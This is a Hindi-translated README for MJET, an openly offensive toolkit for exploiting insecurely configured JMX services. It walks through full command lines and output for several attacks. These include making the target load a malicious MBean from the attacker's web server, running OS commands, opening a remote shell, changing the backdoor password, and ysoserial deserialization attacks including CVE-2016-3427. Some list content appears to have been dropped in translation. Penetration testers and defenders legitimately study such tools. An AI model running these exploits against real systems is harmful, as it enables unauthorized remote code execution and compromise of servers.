
MOGWAI LABS JMX शोषण टूलकिट
MOGWAI LABS JMX एक्सप्लॉइटेशन टूलकिट
MJET, sjet का एक फोर्क है, जिसे siberas द्वारा विकसित किया गया था लेकिन अब इसे सक्रिय रूप से अनुरक्षित नहीं किया जाता है। MJET को MOGWAI LABS टीम द्वारा अनुरक्षित किया जाता है, जिसने मूल sjet कोडबेस का अधिकांश हिस्सा भी प्रदान किया था।
MJET असुरक्षित रूप से कॉन्फ़िगर की गई JMX सेवाओं के आसान शोषण की अनुमति देता है। अतिरिक्त पृष्ठभूमि जानकारी यहाँ और यहाँ पाई जा सकती है।
यह रिपॉज़िटरी अब सक्रिय रूप से अनुरक्षित नहीं है। हम इसके बजाय qtcs beanshooter का उपयोग करने की अनुशंसा करते हैं।
MJET एक CLI इंटरफ़ेस लागू करता है ( का उपयोग करके):
jython mjet.py targetHost targetPort MODE password (modeOptions)
जहाँ
प्रमाणीकरण समर्थन (यदि JMX प्रमाणीकरण सक्षम है):
अन्य वैकल्पिक तर्क:
निम्नलिखित उदाहरण में, भेद्य JMX सेवा 10.165.188.23 पोर्ट 2222 पर चल रही है, हमलावर का IP पता 10.165.188.1 है। JMX सेवा पेलोड jar फ़ाइल डाउनलोड करने के लिए हमलावर की वेब सेवा से कनेक्ट होगी। MJET पोर्ट 8000 पर आवश्यक वेब सेवा शुरू करेगा।
MBean की सफल स्थापना के बाद, डिफ़ॉल्ट पासवर्ड को उस पासवर्ड में बदल दिया जाता है जो कमांड लाइन ("super_secret") पर प्रदान किया गया था।
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>
JMX क्रेडेंशियल्स के साथ स्थापना (सर्वर के कमजोर कॉन्फ़िगरेशन की भी आवश्यकता होती है):
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password
h0ng10@rocksteady:~/mjet$
पेलोड स्थापित होने के बाद, हम इसका उपयोग लक्ष्य पर OS कमांड निष्पादित करने के लिए कर सकते हैं।
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
[+] Done
h0ng10@rocksteady ~/w/mjet>
यदि आप हर कमांड के लिए Java लोड नहीं करना चाहते, तो आप एक सीमित कमांड शेल पाने के लिए "shell mode" का उपयोग कर सकते हैं।
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8
>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet>
उदाहरण स्क्रिप्ट "javaproperties.js" भेद्य सेवा के Java गुणों को प्रदर्शित करती है। इसे निम्नानुसार लागू किया जा सकता है:
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...
[+] Done
मौजूदा पासवर्ड ("super_secret") को "this-is-the-new-password" में बदलें:
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
लक्ष्य से payload MBean 'MogwaiLabs' अनइंस्टॉल करें:
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 8
[+] MBean correctly uninstalled
[+] Done
लक्ष्य पर ysoserial के साथ Java deserialization का शोषण करें: ysoserial.jar फ़ाइल MJET निर्देशिका में मौजूद होनी चाहिए। आप मूल ysoserial कॉल के समान, अपनी पसंद का कोई भी ysoserial पेलोड चुन सकते हैं।
यह हमला तब भी काम करता है जब JMX प्रमाणीकरण सक्षम हो और उपयोगकर्ता के पास "readonly" अनुमतियाँ हों।
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected
[+] Done
ysoserial के साथ CVE-2016-3427 का शोषण करें: ysoserial.jar फ़ाइल MJET/jar निर्देशिका में मौजूद होनी चाहिए। आप मूल ysoserial कॉल के समान, अपनी पसंद का कोई भी ysoserial पेलोड चुन सकते हैं।
$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done
केवल उस वेब सर्वर को चलाना भी संभव है जो MLET कोड और payload MBean के साथ JAR फ़ाइल प्रदान करता है।
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service
opendmk_jmxremote_optional_jar-1.0-b01-ea.jar डाउनलोड करें और इसे jars निर्देशिका में ले जाएँ। आपको java -cp के माध्यम से इस निर्देशिका को classpath में जोड़ना होगा।
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass
कभी-कभी ऐसा होता है कि RMI रजिस्ट्री एक RemoteObject को उजागर करती है जो केवल localhost पर सुलभ है (उदाहरण @127.0.0.1:45401)। हालाँकि, वह पोर्ट खुला है जहाँ RemoteObject नेटवर्क पर सुलभ है।
$ nmap -sVC 172.17.0.2 -p 9999,45401
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
9999/tcp open java-rmi Java RMI Registry
| rmi-dumpregistry:
| jmxrmi
| implements javax.management.remote.rmi.RMIServer,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:45401
| extends
|_ java.rmi.server.RemoteObject
45401/tcp open rmiregistry Java RMI
इस सेवा का शोषण --localhost_bypass <PORT> विकल्प का उपयोग करके अभी भी संभव है। निम्नलिखित उदाहरण में, हम पोर्ट 45401 का उपयोग करते हैं। यह localhost पर एक TCP प्रॉक्सी शुरू करेगा और ट्रैफ़िक को दिए गए पोर्ट पर targetHost तक अग्रेषित करेगा।
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1 17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
कभी-कभी ऐसा होता है कि JMX एंडपॉइंट के RMI ऑब्जेक्ट का नाम jmxrmi नहीं होता है, इस स्थिति में उचित RMI ऑब्जेक्ट नाम निर्दिष्ट करने के लिए पैरामीटर --rmiObjectName का उपयोग किया जा सकता है, उदाहरण के लिए --rmiObjectName=customJmxRmi।
$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$
कभी-कभी ऐसा होता है कि लक्ष्य प्रणाली /bin/bash या cmd.exe शेल प्रदान नहीं करती है। इस स्थिति में वैकल्पिक पैरामीटर --shell निर्दिष्ट किया जा सकता है, उदाहरण के लिए --shell="bash -c"। mjet.py के साथ javascript javaproperties.js को निष्पादित करके, पर्यावरण के बारे में अधिक विवरण दिए जाते हैं।
$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
[+] Done
$
Docker इमेज बनाएँ और चलाएँ
# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet
डिफ़ॉल्ट रूप से, docker इमेज HTTP सर्वर के लिए पोर्ट 8000 को एक्सपोज़ करती है। यदि आपको कोई दूसरा पोर्ट चाहिए, तो उसे एक्सपोज़ करना याद रखें!
बेझिझक योगदान करें।
इस परियोजना में भाग लेने वाले योगदानकर्ताओं की सूची भी देखें।
यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।